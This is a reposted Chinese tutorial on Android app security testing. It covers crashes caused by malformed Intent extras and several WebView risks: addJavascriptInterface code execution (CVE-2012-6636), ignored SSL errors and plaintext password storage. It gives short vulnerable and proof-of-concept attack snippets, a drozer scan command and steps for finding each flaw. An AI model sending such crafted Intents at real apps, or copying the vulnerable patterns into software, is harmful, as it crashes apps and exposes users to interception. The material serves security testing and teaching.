跟着大神学App安全测试,事半功倍(三)

发表于:2020-12-22 10:18

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:book4yi    来源:简书

  IndexOutOfBoundsException异常导致的拒绝服务:
  源于程序没有对 getIntegerArrayListExtra()等获取到的数据数组元素大小的判断,从而导致数组访问越界而导致应用崩溃。
  漏洞应用代码片段:
  Intent intent = getIntent();
  ArrayList<Integer> intArray = intent.getIntegerArrayListExtra("user_id");
  if (intArray != null) {
  for (int i = 0; i < USER_NUM; i++) {
  intArray.get(i);
  } }
  攻击应用代码片段:
  Intent intent = new Intent();
  intent.setClassName("com.alibaba.jaq.pocforrefuseservice",
  "com.alibaba.jaq.pocforrefuseservice.MainActivity");
  ArrayList<Integer> user_id = new ArrayList<Integer>();
  intent.putExtra("user_id", user_id);
  startActivity(intent);
  )
  ClassNotFoundException异常导致的拒绝服务
  源于程序没有无法找到从 getSerializableExtra ()获取到的序列化类对象的类定义,因此发生类未定义的异常而导致应用崩溃。
  漏洞应用代码片段:
  Intent i = getIntent();
  i.getSerializableExtra("serializable_key");
  攻击应用代码片段:
  public void onCreate(Bundle savedInstanceState) {
  super.onCreate(savedInstanceState);
  setContentView(R.layout.main);
  Intent i = new Intent();
  i.setClassName("com.alibaba.jaq.pocforrefuseservice",
  "com.alibaba.jaq.pocforrefuseservice.MainActivity");
  i.putExtra("serializable_key", new SelfSerializableData());
  startActivity(i);
  }
  static class SelfSerializableData implements Serializable {
  private static final long serialVersionUID = 42L;
  public SelfSerializableData() {
  super();
  } }
  java我几乎不了解,这里先作记录,以后接触java代码审计的时候再来填坑。
  webview 组件安全:
  Android 4.2 版本以下的 webview 组件存在安全漏洞(CVE-2012-6636)。检测客户端是否采取措施避免漏洞被利用。检查应用 AndroidManifest.xml 中的 targetSdkVersion是否大于等于 17。
  WebView 代码执行检测:
  android系统通过WebView.addJavascriptInterface方法注册可供JavaScript调用的Java对象,以用于增强 JavaScript 的功能。但是系统并没有对注册 Java 类的方法调用的限制。导致攻击者可以利用反射机制调用未注册的其它任何 Java 类,最终导致 JavaScript 能力的无限增强。攻击者利用该漏洞可以根据客户端执行任意代码。
  Webview代码执行漏洞出现在安卓2.1~4.3.1版本,检查targetSdkVersion 、minSdkVersion(MobSF)。
  若 targetsdkVersion>=19 或通过 minSdkVersion 进行限制则无此问题,否则在低版本上测试,(可使用相关检测代码),检查代码中是否使用 addJavascriptInterface()。
  drozer测试:
  run scanner.misc.checkjavascriptbridge -a 包名
  模块安装参考:
  测试流程:
  1、使用反编译工具打开应用,反编译出应用源码。
  2、在源码中搜索类似写法:
  settings.setJavaScriptEnabled(true);
  settings.setJavaScriptCanOpenWindowsAutomatically(true);
  mWebView.addJavascriptInterface(newJSInvokeClass(), "js2java");
  3、那么该处就可能存在 Web 组件远程代码执行的风险。
  4、如果存在该风险,将会在改页面中显示出存在问题的接口,记录漏洞,停止测试
  WebView 不校验证书检测:
  Android WebView组件加载网页发生证书认证错误时,会调用WebViewClient类的onReceivedSslError方法,如果该方法实现调用了handler.proceed()来忽略该证书错误,则会受到中间人攻击的威胁,可能导致隐私泄露。
  调用了 android/webkit/SslErrorHandler 类的 proceed 方法,可能导致 WebView 忽略校验证书的步骤。
  全局搜索“onReceivedSslError”,看是否调用了 handle.proceed()方法(在 webview 组件代码中测试)。
  WebView 密码明文保存检测:
  在使用 WebView 的过程中忽略了 WebView setSavePassword,当用户选择保存在WebView中输入的用户名和密码,则会被明文保存到应用数据目录的databases/webview.db 中。如果手机被 root 就可以获取明文保存的密码,造成用户的个人敏感数据泄露。
  搜”setSavePassword”,看是否显式设置为 false(在 webview 组件代码中测试)
  修复建议:
  使用WebView.getSettings().setSavePassword(false)来禁止保存密码

  本文内容不用于商业目的,如涉及知识产权问题,请权利人联系51Testing小编(021-64471599-8017),我们将立即处理。
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号